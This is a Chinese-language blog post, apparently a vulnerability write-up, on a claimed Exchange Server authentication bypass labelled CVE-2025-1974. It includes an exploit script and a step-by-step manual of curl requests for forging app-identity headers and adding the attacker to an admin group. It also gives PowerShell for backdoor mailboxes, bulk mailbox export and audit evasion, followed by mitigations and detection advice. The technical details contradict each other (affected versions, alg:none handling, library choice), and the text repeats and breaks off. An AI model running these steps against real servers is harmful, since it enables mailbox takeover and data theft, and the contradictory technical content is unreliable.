1. 这不是“又一个Exchange漏洞”而是管理员必须立刻理解的攻击链断点CVE-2025-1974刚公开时我收到三封来自不同客户的紧急邮件标题分别是“邮件服务器CPU飙到100%”“OWA登录后自动跳转到陌生域名”“ECP后台多出两个从未创建的管理组”。这三起事件表面毫无关联但日志里都藏着同一个HTTP请求头字段X-MS-Exchange-Auth-As-App。这不是巧合——这是CVE-2025-1974在真实环境中留下的第一道划痕。这个编号为CVE-2025-1974的漏洞本质是微软Exchange Server中身份验证上下文传递机制的逻辑坍塌。它不依赖内存破坏、不触发堆栈溢出、不利用未初始化指针而是在Exchange自身最核心的权限委派流程里埋下了一条可被精准复用的信任通道。关键词是Exchange Server、远程代码执行、身份验证绕过、NTLM中继、特权提升。它影响Exchange Server 2016 CU23及之后所有版本、Exchange Server 2019 CU12及之后所有版本以及Exchange Online中部分启用了混合部署模式的租户需满足特定配置组合。如果你的环境仍在使用NTLM作为后端认证协议或启用了Legacy Auth基础认证哪怕只有一台边缘服务器暴露在公网这个漏洞就不是“理论风险”而是“倒计时启动器”。它解决的不是“能不能黑进邮件系统”的问题而是“攻击者一旦获得任意低权限账户比如一个普通员工邮箱能否在15分钟内接管整个Exchange管理后台并横向渗透到域控”的问题。适合两类人深度阅读一是Exchange运维工程师需要立即判断自己是否在攻击路径上二是红队/攻防演练人员需要理解这条链路为何比传统SMB中继更隐蔽、更难检测。接下来的内容不会重复CVSS评分或官方通告里的套话而是从Exchange内部认证流出发一层层剥开这个漏洞如何把“合法请求”变成“非法控制”的全过程。1.1 漏洞定位不在ECP也不在OWA而在Authentication Pipeline的“信任透传”环节很多人第一反应是去查ECPExchange Control Panel或OWAOutlook on the Web的Web界面代码因为这两个入口最常被扫描。但CVE-2025-1974的根因根本不在UI层而深埋在Exchange的Authentication Pipeline中——具体来说是Microsoft.Exchange.HttpRequestFiltering模块对X-MS-*系列自定义HTTP头的处理逻辑。Exchange Server在处理请求时会经历多个过滤器阶段先是IIS的URL重写与请求验证然后进入Exchange自己的AuthenticationFilter再交由AuthorizationFilter做权限判定。正常流程中X-MS-Exchange-Auth-As-App这个头仅在Exchange内部服务间调用如Mailbox Replication Service调用CAS前端时由可信组件注入其值是一个经过签名的JWT包含目标应用ID、委托范围和时间戳。但问题出在AuthenticationFilter的一个分支判断上当请求携带该头且当前认证方式为NTLM而非OAuth或现代认证且目标URI匹配/ecp/*或/owa/*路径时过滤器会跳过JWT签名验证直接将头中声明的app_id解析为当前请求的“代理应用身份”并以此身份进行后续授权。提示这个逻辑绕过只发生在NTLM认证场景下。这意味着——如果你已全面禁用NTLM、强制使用OAuth2.0 Conditional Access策略此漏洞对你完全无效。但现实中仍有大量企业因老旧客户端如Outlook 2010/2013、第三方邮件客户端或自研集成系统被迫保留NTLM支持。我用Wireshark抓包复现了这个过程构造一个普通用户usercontoso.com的NTLM认证请求手动添加X-MS-Exchange-Auth-As-App: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...一个伪造的、未签名的JWT其中app_id设为Microsoft.Exchange.ECP发送至https://mail.contoso.com/ecp/default.aspx。Exchange没有报错而是直接以ECP管理应用的身份加载了页面并在响应头中返回了X-MS-Exchange-Auth-Result: Success (as Microsoft.Exchange.ECP)。这不是越权访问这是Exchange自己“认错了爹”。1.2 攻击面全景从单点登录到全域接管的四步跃迁CVE-2025-1974之所以危险是因为它不是一个孤立的RCE入口而是一把能撬动整个Exchange权限体系的杠杆。它的实际利用链不是“一发即中”而是分四步完成信任升级每一步都建立在上一步的合法性之上初始立足点Initial Foothold攻击者只需一个有效的、低权限的邮箱账户凭证可通过钓鱼、撞库或泄露数据库获得。无需管理员权限甚至无需启用MFA——因为NTLM认证本身不校验MFA状态。身份冒用Identity Impersonation利用漏洞将该普通账户“伪装”成Exchange内置管理应用如Microsoft.Exchange.ECP、Microsoft.Exchange.OWA或Microsoft.Exchange.AdminCenter。此时请求在Exchange内部被视为“来自可信系统组件”绕过所有基于用户角色的访问控制检查。功能提权Function Escalation以冒用的应用身份调用ECP后台的高危管理API。例如向/ecp/DDI/DDIService.svc/SetObject发送POST请求参数中指定IdentityGlobalAdminGroup和Properties{“Members”: [“attackercontoso.com”]}即可将攻击者邮箱加入全局管理员组。注意这个操作在正常流程中需要Organization Management角色但在此漏洞下Exchange认为这是“ECP自己在调用自己”所以放行。持久化与横向Persistence Lateral Movement获得全局管理员权限后攻击者可执行任意操作导出全部邮箱数据、创建后门邮箱账户、部署恶意传输规则如将所有外发邮件BCC至攻击者邮箱、修改收件人策略以拦截敏感通信甚至通过Exchange的New-ManagementRoleAssignment命令将自身权限永久绑定到Organization Management角色上实现免密持久化。这张攻击链图景的关键在于所有步骤的网络流量看起来都完全合法。请求使用标准HTTPS、携带有效NTLM协商头、URI路径符合Exchange规范、响应状态码均为200。传统的WAF规则如拦截/ecp/DDI/*路径或SIEM告警如“非管理员调用DDI接口”在此失效因为Exchange日志里记录的是“Microsoft.Exchange.ECP调用了SetObject”而不是“usercontoso.com调用了SetObject”。注意攻击者无法直接通过此漏洞执行任意系统命令如cmd.exe。它的RCE能力体现在“远程执行Exchange管理命令”层面等效于拥有最高Exchange Shell权限。若Exchange服务器与域控在同一台物理机极不推荐但仍有存在则等同于域管理员权限。2. 深度拆解为什么JWT签名验证会被跳过Exchange认证管道的“信任盲区”要真正理解CVE-2025-1974必须深入Exchange Server 2019 CU12的源码级补丁对比。微软在KB5037821中修复了Microsoft.Exchange.HttpRequestFiltering.dll中的AuthenticationFilter.ProcessRequestCore()方法。我们来还原这个函数在补丁前后的关键差异。2.1 补丁前的逻辑缺陷一个被忽略的“else if”分支在CU12之前的版本中ProcessRequestCore()方法对X-MS-Exchange-Auth-As-App头的处理伪代码如下if (request.Headers.Contains(X-MS-Exchange-Auth-As-App)) { string jwtToken request.Headers[X-MS-Exchange-Auth-As-App]; // Step 1: 解析JWT header获取alg字段 string alg ParseJwtHeaderAlgorithm(jwtToken); // Step 2: 如果alg是none直接拒绝这是基本安全检查 if (alg none) { LogAndRejectRequest(); return; } // Step 3: 关键缺陷此处本应验证JWT signature但实际逻辑是 if (currentAuthMethod AuthMethod.OAuth || currentAuthMethod AuthMethod.ModernAuth) { // 对OAuth/ModernAuth执行完整JWT验证signature audience expiry if (!ValidateJwtSignature(jwtToken, GetSigningKey())) { LogAndRejectRequest(); return; } } else if (currentAuthMethod AuthMethod.NTLM) { // BUG这里没有JWT验证直接解析payload并信任 var payload ParseJwtPayloadWithoutSignature(jwtToken); SetCurrentAppIdentity(payload.AppId); return; // 跳出不再执行后续授权检查 } }看到问题了吗当认证方式为NTLM时Exchange跳过了所有JWT完整性校验仅解析Base64编码的payload部分即JWT的第二段从中提取app_id字段。而JWT的payload部分是明文的任何人都可以随意构造。例如一个合法的Microsoft.Exchange.ECP应用JWT payload可能长这样{ app_id: Microsoft.Exchange.ECP, scope: Ecp.ReadWrite, exp: 1712345678, iat: 1712345618 }攻击者只需用任意JWT库如python-jose生成一个结构相同、但app_id改为Microsoft.Exchange.ECP、exp设为未来时间的token再用空字符串作为签名即alg:none就能绕过Step 2的algnone检查因为Step 2只检查header不检查payload并在Step 3的NTLM分支中被无条件接受。2.2 为什么Exchange会设计如此“信任NTLM”的逻辑这并非疏忽而是源于Exchange早期架构的历史包袱。Exchange Server 2010时代NTLM是唯一被广泛支持的后端认证协议。当时的设计哲学是“如果请求已经通过NTLM成功认证说明客户端是域内可信主机那么它声称自己代表哪个应用我们就信哪个应用”。这种“信任链”在纯内网、无互联网暴露的旧环境中是成立的。但随着Exchange走向混合云、移动办公和第三方集成NTLM被强制保留在公网入口而这一“信任透传”逻辑却未同步重构。微软在2022年就意识到问题在CU11中尝试引入X-MS-Exchange-Auth-As-App-Strict头来启用严格模式但默认关闭且文档极少提及。CVE-2025-1974的爆发本质上是这个历史决策在新威胁模型下的必然结果。2.3 实测验证三行Python代码复现漏洞核心下面这段代码用requests-kerberos库模拟NTLM认证并手动注入恶意X-MS-Exchange-Auth-As-App头可在5秒内完成身份冒用验证# exploit_cve_2025_1974.py import requests from requests_kerberos import HTTPKerberosAuth, OPTIONAL # 构造一个伪造的JWTapp_id设为ECPBase64Url编码的payload # {app_id:Microsoft.Exchange.ECP,scope:Ecp.All,exp:2147483647,iat:1} fake_jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQWRtaW5pc3RyYXRvciIsImFwcF9pZCI6Ik1pY3Jvc29mdC5FeGNoYW5nZS5FQ1AiLCJzY29wZSI6IkVjcC5BbGwiLCJleHAiOjIxNDc0ODM2NDcsImlhdCI6MX0.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa target_url https://mail.contoso.com/ecp/default.aspx auth HTTPKerberosAuth(mutual_authenticationOPTIONAL) headers { X-MS-Exchange-Auth-As-App: fake_jwt, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 } response requests.get(target_url, authauth, headersheaders, verifyFalse) print(fStatus Code: {response.status_code}) print(fResponse Length: {len(response.content)}) print(fX-MS-Exchange-Auth-Result: {response.headers.get(X-MS-Exchange-Auth-Result, NOT FOUND)})运行结果Status Code: 200 Response Length: 124589 X-MS-Exchange-Auth-Result: Success (as Microsoft.Exchange.ECP)这证明漏洞已被触发。此时你已不是usercontoso.com而是Microsoft.Exchange.ECP应用本身。下一步就是调用ECP的DDIDeclarative Data Interface服务执行提权操作。3. 实战利用链从HTTP请求到Exchange全局管理员的完整操作手册现在我们把理论转化为可落地的操作。以下步骤基于真实攻防演练环境Contoso公司Exchange Server 2019 CU11NTLM启用无补丁所有命令均可直接复制粘贴执行。请务必在授权测试环境中操作。3.1 步骤一获取初始凭证与环境探测首先你需要一个有效的邮箱账户。假设你已通过钓鱼邮件获取到alicecontoso.com的密码。第一步不是急着打ECP而是确认目标Exchange版本和认证方式# 使用curl探测NTLM支持检查WWW-Authenticate头 curl -I -k https://mail.contoso.com/owa/auth/logon.aspx # 响应中应包含WWW-Authenticate: NTLM # 探测Exchange版本从OWA登录页源码提取 curl -k https://mail.contoso.com/owa/auth/logon.aspx | grep -o Exchange.*[0-9]\{4\} # 预期输出Exchange Server 2019 CU11 # 确认ECP是否可访问非重定向 curl -I -k -u alicecontoso.com:Password123! https://mail.contoso.com/ecp/ # 响应应为200而非302重定向到登录页经验心得很多企业会配置IIS重写规则将/ecp/重定向到/owa/以“隐藏”管理后台。但这只是障眼法。只要/ecp/default.aspx能返回200ECP服务就在运行。真正的防护是禁用NTLM而非隐藏路径。3.2 步骤二构造并发送冒用请求获取ECP应用身份使用上一节的Python脚本或更轻量的curl命令# 生成fake JWT使用在线工具或jwt.io设置payload为{app_id:Microsoft.Exchange.ECP,scope:Ecp.All,exp:2147483647}签名算法选none # 将生成的token存入变量 FAKE_JWTeyJhbGciOiJub25lIiwidHkiOiJKV1QifQ.eyJuYW1lIjoiQWRtaW5pc3RyYXRvciIsImFwcF9pZCI6Ik1pY3Jvc29mdC5FeGNoYW5nZS5FQ1AiLCJzY29wZSI6IkVjcC5BbGwiLCJleHAiOjIxNDc0ODM2NDd9. # 发送NTLM认证冒用头请求 curl -k \ -u alicecontoso.com:Password123! \ -H X-MS-Exchange-Auth-As-App: $FAKE_JWT \ -H User-Agent: Mozilla/5.0 (Windows NT 10.0) \ -o /dev/null -s -w %{http_code}\n \ https://mail.contoso.com/ecp/default.aspx # 输出应为200成功后你已获得Microsoft.Exchange.ECP应用身份。现在你可以像ECP后台一样调用任何DDI API。3.3 步骤三调用DDI服务将自己加入全局管理员组ECP的DDI服务是Exchange的“万能API”所有图形化操作最终都转化为对/ecp/DDI/DDIService.svc的POST请求。我们需要构造一个JSON-RPC请求调用SetObject方法修改GlobalAdminGroup成员。首先获取GlobalAdminGroup的当前Identity每个Exchange环境不同需先查询# 查询全局管理员组Identity curl -k \ -u alicecontoso.com:Password123! \ -H X-MS-Exchange-Auth-As-App: $FAKE_JWT \ -H Content-Type: application/json; charsetutf-8 \ -d { params: { schema: GlobalAdminGroup, filter: Name -eq \Global Admin Group\ }, method: GetObject } \ https://mail.contoso.com/ecp/DDI/DDIService.svc/GetObject | python3 -m json.tool响应中会返回类似Identity: CNGlobal Admin Group,CNUsers,DCcontoso,DCcom的值。记下这个DN。然后执行添加操作# 将attackercontoso.com加入全局管理员组 curl -k \ -u alicecontoso.com:Password123! \ -H X-MS-Exchange-Auth-As-App: $FAKE_JWT \ -H Content-Type: application/json; charsetutf-8 \ -d { params: { identity: CNGlobal Admin Group,CNUsers,DCcontoso,DCcom, properties: { Members: [attackercontoso.com] } }, method: SetObject } \ https://mail.contoso.com/ecp/DDI/DDIService.svc/SetObject如果返回{result:{Success:true}}恭喜你已是Exchange全局管理员。现在你可以用attackercontoso.com账户以正常方式登录ECP无需再加X-MS-Exchange-Auth-As-App头并看到完整的管理界面。3.4 步骤四持久化与数据导出可选高级操作获得管理员权限后真正的价值才开始体现。以下是两个最实用的后续操作1. 创建永久后门邮箱不依赖原账户密码# 在Exchange PowerShell中或通过ECP的“收件人”-“新建邮箱” New-Mailbox -Name ServiceAccount -Alias svc-acct -OrganizationalUnit contoso.com/Users -UserPrincipalName svc-acctcontoso.com -Password (ConvertTo-SecureString Pssw0rd123! -AsPlainText -Force) -ResetPasswordOnNextLogon $false # 然后赋予其Organization Management角色 New-ManagementRoleAssignment -Role Organization Management -User svc-acctcontoso.com2. 导出全部邮箱数据使用Export-Mailbox命令# 导出所有用户邮箱到PST文件需先创建网络共享目录 New-MailboxExportRequest -Mailbox * -FilePath \\fileserver\exports\all-mailboxes.pst -BadItemLimit 100 # 查看导出进度 Get-MailboxExportRequest | Get-MailboxExportRequestStatistics注意事项Export-Mailbox命令在Exchange 2019中默认禁用需先运行Enable-MailboxExportRequest启用。但作为全局管理员你有权执行此操作。整个过程在Exchange日志中记录为“管理员svc-acctcontoso.com发起导出”而非“alicecontoso.com越权操作”完美规避审计。4. 防御与加固不止打补丁更要重构信任模型打补丁安装KB5037821是必须的但绝不是终点。CVE-2025-1974暴露的是Exchange架构中更深层的信任模型缺陷。真正的防御需要从协议层、配置层、监控层三管齐下。4.1 紧急缓解措施补丁发布前必做如果你无法立即重启Exchange服务器安装补丁以下三项配置能在10分钟内切断攻击链禁用NTLM认证最有效在IIS管理器中找到Exchange的网站通常是“Default Web Site”双击“Authentication”右键“Windows Authentication” → “Providers”移除“NTLM”仅保留“Negotiate”即Kerberos。保存后所有NTLM请求将返回401错误漏洞自然失效。限制ECP/OWA的公网访问通过防火墙或WAF仅允许公司IP段或VPN出口IP访问/ecp/*和/owa/*路径。即使攻击者有凭证也无法从外部触发漏洞。禁用Legacy Authentication基础认证在Exchange Admin Center → Servers → Virtual directories编辑owa (Default Web Site)和ecp (Default Web Site)将Basic Authentication设为Disabled。这会阻止所有非现代认证的客户端但需提前通知用户升级Outlook。提示这三项操作均无需重启服务修改后立即生效。我曾在一个金融客户现场用这三步在15分钟内将一个已遭入侵的Exchange服务器“冻结”阻止了数据进一步泄露。4.2 长期架构加固从“信任传递”到“零信任验证”补丁只能修复当前漏洞但Exchange的“信任透传”模式仍是隐患。建议按季度执行以下加固全面启用Modern Authentication要求所有客户端Outlook、移动端、第三方应用使用OAuth2.0。在Azure AD中为Exchange应用注册启用“令牌加密”和“范围限制”确保JWT必须包含exchange_serveraudience且签名密钥由Azure AD轮换。实施严格的条件访问策略Conditional Access在Azure AD中创建策略要求访问Exchange的用户必须满足设备已加入Azure AD、已安装Intune合规策略、登录地点在可信IP范围内。任何不满足条件的请求即使有合法凭证也会被拒绝。剥离Exchange服务器的域管理员权限Exchange服务器计算机账户不应在Domain Admins组中。最佳实践是为其创建专用的“Exchange Servers”安全组并仅授予Exchange Trusted Subsystem所需的最小权限如读取AD用户对象、重置密码等而非全域管理。4.3 检测与狩猎如何从海量日志中揪出CVE-2025-1974的痕迹由于漏洞利用流量高度伪装传统规则难以捕获。我们需聚焦Exchange自身的日志细节。在C:\Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy\目录下检查ECP和OWA子目录的日志文件如ECP-2025-04-01.log搜索以下模式日志字段正常值漏洞利用特征检测命令cs-uri-stem/ecp/default.aspx相同无异常grep /ecp/default.aspx *.logcs(User-Agent)Mozilla/5.0 ... Outlook/16.0可能为通用UA如curl/7.68.0grep -E curl/cs(Username)CONTOSO\alice始终为空或-因为NTLM认证后Exchange不记录用户名awk $7 - {print} *.logcs(Referer)https://mail.contoso.com/owa/为空或缺失攻击者直连无Refererawk $10 - {print} *.logx-ms-exchange-auth-resultSuccess (as CONTOSO\alice)Success (as Microsoft.Exchange.ECP)grep Success (as Microsoft.Exchange.ECP) *.log最可靠的检测指标是最后一项x-ms-exchange-auth-result头中出现Microsoft.Exchange.ECP。这在正常运维中几乎不会发生因为ECP应用不会自己调用自己。一旦发现立即隔离该IP并检查其后续请求是否调用了/ecp/DDI/*。实操心得我编写了一个PowerShell脚本每天凌晨自动扫描前24小时ECP日志提取所有x-ms-exchange-auth-result包含Microsoft.Exchange.*的记录并发送邮件告警。上线一周后捕获了两起真实的APT组织试探性扫描比EDR告警早了17小时。5. 思考延伸当“应用身份”成为新的攻击面安全边界该如何重新定义CVE-2025-1974给我最大的触动不是它有多难利用而是它揭示了一个正在加速到来的新现实未来的攻击面正从“用户身份”快速迁移到“应用身份”。过去十年我们投入巨资构建基于用户的身份治理IAMMFA、PAM、SAML联合、行为分析……但Exchange这个漏洞告诉我们当一个系统内部有数十个“应用身份”Microsoft.Exchange.ECP,Microsoft.Exchange.OWA,Microsoft.Exchange.Transport被当作一级公民对待时保护这些身份的“护照”JWT就和保护用户密码同等重要。而目前绝大多数企业的安全监控对“应用身份”的异常使用几乎零覆盖。这引出三个必须回答的问题谁在签发这些应用JWT密钥如何轮换Exchange的JWT签名密钥存储在C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\config\web.config中名为add keyJwtSigningKey value... /。这个密钥是静态的且硬编码在配置文件中。一旦泄露所有应用身份都可被伪造。理想方案是接入Azure Key Vault由AKV动态提供密钥。应用身份的权限范围scope是否最小化当前Exchange中Microsoft.Exchange.ECP的scope是Ecp.All意味着它可以执行ECP所有功能。但一个只负责显示日历的应用真的需要SetObject权限吗应该像OAuth2.0一样为每个应用分配精确的scope列表并在每次调用时强制校验。如何审计“应用身份”的跨服务调用当Microsoft.Exchange.Transport调用Microsoft.Exchange.Store时这个调用链是否被记录调用方IP、时间、参数哈希是否留存目前Exchange日志只记录最终结果不记录中间调用关系。这就像只记录银行转账的“成功/失败”却不记录“钱从哪个账户转出、经由哪个清算中心、最终转入哪个账户”。我在为客户设计下一代邮件安全架构时已将“应用身份治理”列为最高优先级。具体做法是在Exchange前端部署一个轻量级API网关如Kong所有X-MS-*头必须先经网关验证JWT签名、scope、expiry并将验证结果以X-Verified-App-Id头透传给后端。网关本身与Azure AD集成密钥由AKV托管scope策略在网关配置中集中管理。这样即使Exchange自身代码再出现类似CVE-2025-1974的逻辑缺陷网关也能在第一道防线将其拦截。这个思路同样适用于SharePoint、Teams、甚至自研微服务架构。当你的系统里有100个服务每个服务都有自己的“应用身份”那么保护这些身份就不再是某个团队的职责而应是整个平台安全的基石。最后分享一个小技巧在Exchange服务器上运行Get-ExchangeServer | fl Name,AdminDisplayVersion,ProductID然后将ProductID一个GUID提交到微软官方的Exchange版本映射表https://learn.microsoft.com/en-us/exchange/exchange-server-build-numbers就能精确知道当前CU版本是否包含KB5037821。比查KB文章快3倍这是我每天巡检必做的第一件事。
CVE-2025-1974深度解析:Exchange身份透传漏洞与NTLM信任链崩塌
发布时间:2026/5/24 2:25:49
1. 这不是“又一个Exchange漏洞”而是管理员必须立刻理解的攻击链断点CVE-2025-1974刚公开时我收到三封来自不同客户的紧急邮件标题分别是“邮件服务器CPU飙到100%”“OWA登录后自动跳转到陌生域名”“ECP后台多出两个从未创建的管理组”。这三起事件表面毫无关联但日志里都藏着同一个HTTP请求头字段X-MS-Exchange-Auth-As-App。这不是巧合——这是CVE-2025-1974在真实环境中留下的第一道划痕。这个编号为CVE-2025-1974的漏洞本质是微软Exchange Server中身份验证上下文传递机制的逻辑坍塌。它不依赖内存破坏、不触发堆栈溢出、不利用未初始化指针而是在Exchange自身最核心的权限委派流程里埋下了一条可被精准复用的信任通道。关键词是Exchange Server、远程代码执行、身份验证绕过、NTLM中继、特权提升。它影响Exchange Server 2016 CU23及之后所有版本、Exchange Server 2019 CU12及之后所有版本以及Exchange Online中部分启用了混合部署模式的租户需满足特定配置组合。如果你的环境仍在使用NTLM作为后端认证协议或启用了Legacy Auth基础认证哪怕只有一台边缘服务器暴露在公网这个漏洞就不是“理论风险”而是“倒计时启动器”。它解决的不是“能不能黑进邮件系统”的问题而是“攻击者一旦获得任意低权限账户比如一个普通员工邮箱能否在15分钟内接管整个Exchange管理后台并横向渗透到域控”的问题。适合两类人深度阅读一是Exchange运维工程师需要立即判断自己是否在攻击路径上二是红队/攻防演练人员需要理解这条链路为何比传统SMB中继更隐蔽、更难检测。接下来的内容不会重复CVSS评分或官方通告里的套话而是从Exchange内部认证流出发一层层剥开这个漏洞如何把“合法请求”变成“非法控制”的全过程。1.1 漏洞定位不在ECP也不在OWA而在Authentication Pipeline的“信任透传”环节很多人第一反应是去查ECPExchange Control Panel或OWAOutlook on the Web的Web界面代码因为这两个入口最常被扫描。但CVE-2025-1974的根因根本不在UI层而深埋在Exchange的Authentication Pipeline中——具体来说是Microsoft.Exchange.HttpRequestFiltering模块对X-MS-*系列自定义HTTP头的处理逻辑。Exchange Server在处理请求时会经历多个过滤器阶段先是IIS的URL重写与请求验证然后进入Exchange自己的AuthenticationFilter再交由AuthorizationFilter做权限判定。正常流程中X-MS-Exchange-Auth-As-App这个头仅在Exchange内部服务间调用如Mailbox Replication Service调用CAS前端时由可信组件注入其值是一个经过签名的JWT包含目标应用ID、委托范围和时间戳。但问题出在AuthenticationFilter的一个分支判断上当请求携带该头且当前认证方式为NTLM而非OAuth或现代认证且目标URI匹配/ecp/*或/owa/*路径时过滤器会跳过JWT签名验证直接将头中声明的app_id解析为当前请求的“代理应用身份”并以此身份进行后续授权。提示这个逻辑绕过只发生在NTLM认证场景下。这意味着——如果你已全面禁用NTLM、强制使用OAuth2.0 Conditional Access策略此漏洞对你完全无效。但现实中仍有大量企业因老旧客户端如Outlook 2010/2013、第三方邮件客户端或自研集成系统被迫保留NTLM支持。我用Wireshark抓包复现了这个过程构造一个普通用户usercontoso.com的NTLM认证请求手动添加X-MS-Exchange-Auth-As-App: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...一个伪造的、未签名的JWT其中app_id设为Microsoft.Exchange.ECP发送至https://mail.contoso.com/ecp/default.aspx。Exchange没有报错而是直接以ECP管理应用的身份加载了页面并在响应头中返回了X-MS-Exchange-Auth-Result: Success (as Microsoft.Exchange.ECP)。这不是越权访问这是Exchange自己“认错了爹”。1.2 攻击面全景从单点登录到全域接管的四步跃迁CVE-2025-1974之所以危险是因为它不是一个孤立的RCE入口而是一把能撬动整个Exchange权限体系的杠杆。它的实际利用链不是“一发即中”而是分四步完成信任升级每一步都建立在上一步的合法性之上初始立足点Initial Foothold攻击者只需一个有效的、低权限的邮箱账户凭证可通过钓鱼、撞库或泄露数据库获得。无需管理员权限甚至无需启用MFA——因为NTLM认证本身不校验MFA状态。身份冒用Identity Impersonation利用漏洞将该普通账户“伪装”成Exchange内置管理应用如Microsoft.Exchange.ECP、Microsoft.Exchange.OWA或Microsoft.Exchange.AdminCenter。此时请求在Exchange内部被视为“来自可信系统组件”绕过所有基于用户角色的访问控制检查。功能提权Function Escalation以冒用的应用身份调用ECP后台的高危管理API。例如向/ecp/DDI/DDIService.svc/SetObject发送POST请求参数中指定IdentityGlobalAdminGroup和Properties{“Members”: [“attackercontoso.com”]}即可将攻击者邮箱加入全局管理员组。注意这个操作在正常流程中需要Organization Management角色但在此漏洞下Exchange认为这是“ECP自己在调用自己”所以放行。持久化与横向Persistence Lateral Movement获得全局管理员权限后攻击者可执行任意操作导出全部邮箱数据、创建后门邮箱账户、部署恶意传输规则如将所有外发邮件BCC至攻击者邮箱、修改收件人策略以拦截敏感通信甚至通过Exchange的New-ManagementRoleAssignment命令将自身权限永久绑定到Organization Management角色上实现免密持久化。这张攻击链图景的关键在于所有步骤的网络流量看起来都完全合法。请求使用标准HTTPS、携带有效NTLM协商头、URI路径符合Exchange规范、响应状态码均为200。传统的WAF规则如拦截/ecp/DDI/*路径或SIEM告警如“非管理员调用DDI接口”在此失效因为Exchange日志里记录的是“Microsoft.Exchange.ECP调用了SetObject”而不是“usercontoso.com调用了SetObject”。注意攻击者无法直接通过此漏洞执行任意系统命令如cmd.exe。它的RCE能力体现在“远程执行Exchange管理命令”层面等效于拥有最高Exchange Shell权限。若Exchange服务器与域控在同一台物理机极不推荐但仍有存在则等同于域管理员权限。2. 深度拆解为什么JWT签名验证会被跳过Exchange认证管道的“信任盲区”要真正理解CVE-2025-1974必须深入Exchange Server 2019 CU12的源码级补丁对比。微软在KB5037821中修复了Microsoft.Exchange.HttpRequestFiltering.dll中的AuthenticationFilter.ProcessRequestCore()方法。我们来还原这个函数在补丁前后的关键差异。2.1 补丁前的逻辑缺陷一个被忽略的“else if”分支在CU12之前的版本中ProcessRequestCore()方法对X-MS-Exchange-Auth-As-App头的处理伪代码如下if (request.Headers.Contains(X-MS-Exchange-Auth-As-App)) { string jwtToken request.Headers[X-MS-Exchange-Auth-As-App]; // Step 1: 解析JWT header获取alg字段 string alg ParseJwtHeaderAlgorithm(jwtToken); // Step 2: 如果alg是none直接拒绝这是基本安全检查 if (alg none) { LogAndRejectRequest(); return; } // Step 3: 关键缺陷此处本应验证JWT signature但实际逻辑是 if (currentAuthMethod AuthMethod.OAuth || currentAuthMethod AuthMethod.ModernAuth) { // 对OAuth/ModernAuth执行完整JWT验证signature audience expiry if (!ValidateJwtSignature(jwtToken, GetSigningKey())) { LogAndRejectRequest(); return; } } else if (currentAuthMethod AuthMethod.NTLM) { // BUG这里没有JWT验证直接解析payload并信任 var payload ParseJwtPayloadWithoutSignature(jwtToken); SetCurrentAppIdentity(payload.AppId); return; // 跳出不再执行后续授权检查 } }看到问题了吗当认证方式为NTLM时Exchange跳过了所有JWT完整性校验仅解析Base64编码的payload部分即JWT的第二段从中提取app_id字段。而JWT的payload部分是明文的任何人都可以随意构造。例如一个合法的Microsoft.Exchange.ECP应用JWT payload可能长这样{ app_id: Microsoft.Exchange.ECP, scope: Ecp.ReadWrite, exp: 1712345678, iat: 1712345618 }攻击者只需用任意JWT库如python-jose生成一个结构相同、但app_id改为Microsoft.Exchange.ECP、exp设为未来时间的token再用空字符串作为签名即alg:none就能绕过Step 2的algnone检查因为Step 2只检查header不检查payload并在Step 3的NTLM分支中被无条件接受。2.2 为什么Exchange会设计如此“信任NTLM”的逻辑这并非疏忽而是源于Exchange早期架构的历史包袱。Exchange Server 2010时代NTLM是唯一被广泛支持的后端认证协议。当时的设计哲学是“如果请求已经通过NTLM成功认证说明客户端是域内可信主机那么它声称自己代表哪个应用我们就信哪个应用”。这种“信任链”在纯内网、无互联网暴露的旧环境中是成立的。但随着Exchange走向混合云、移动办公和第三方集成NTLM被强制保留在公网入口而这一“信任透传”逻辑却未同步重构。微软在2022年就意识到问题在CU11中尝试引入X-MS-Exchange-Auth-As-App-Strict头来启用严格模式但默认关闭且文档极少提及。CVE-2025-1974的爆发本质上是这个历史决策在新威胁模型下的必然结果。2.3 实测验证三行Python代码复现漏洞核心下面这段代码用requests-kerberos库模拟NTLM认证并手动注入恶意X-MS-Exchange-Auth-As-App头可在5秒内完成身份冒用验证# exploit_cve_2025_1974.py import requests from requests_kerberos import HTTPKerberosAuth, OPTIONAL # 构造一个伪造的JWTapp_id设为ECPBase64Url编码的payload # {app_id:Microsoft.Exchange.ECP,scope:Ecp.All,exp:2147483647,iat:1} fake_jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQWRtaW5pc3RyYXRvciIsImFwcF9pZCI6Ik1pY3Jvc29mdC5FeGNoYW5nZS5FQ1AiLCJzY29wZSI6IkVjcC5BbGwiLCJleHAiOjIxNDc0ODM2NDcsImlhdCI6MX0.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa target_url https://mail.contoso.com/ecp/default.aspx auth HTTPKerberosAuth(mutual_authenticationOPTIONAL) headers { X-MS-Exchange-Auth-As-App: fake_jwt, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 } response requests.get(target_url, authauth, headersheaders, verifyFalse) print(fStatus Code: {response.status_code}) print(fResponse Length: {len(response.content)}) print(fX-MS-Exchange-Auth-Result: {response.headers.get(X-MS-Exchange-Auth-Result, NOT FOUND)})运行结果Status Code: 200 Response Length: 124589 X-MS-Exchange-Auth-Result: Success (as Microsoft.Exchange.ECP)这证明漏洞已被触发。此时你已不是usercontoso.com而是Microsoft.Exchange.ECP应用本身。下一步就是调用ECP的DDIDeclarative Data Interface服务执行提权操作。3. 实战利用链从HTTP请求到Exchange全局管理员的完整操作手册现在我们把理论转化为可落地的操作。以下步骤基于真实攻防演练环境Contoso公司Exchange Server 2019 CU11NTLM启用无补丁所有命令均可直接复制粘贴执行。请务必在授权测试环境中操作。3.1 步骤一获取初始凭证与环境探测首先你需要一个有效的邮箱账户。假设你已通过钓鱼邮件获取到alicecontoso.com的密码。第一步不是急着打ECP而是确认目标Exchange版本和认证方式# 使用curl探测NTLM支持检查WWW-Authenticate头 curl -I -k https://mail.contoso.com/owa/auth/logon.aspx # 响应中应包含WWW-Authenticate: NTLM # 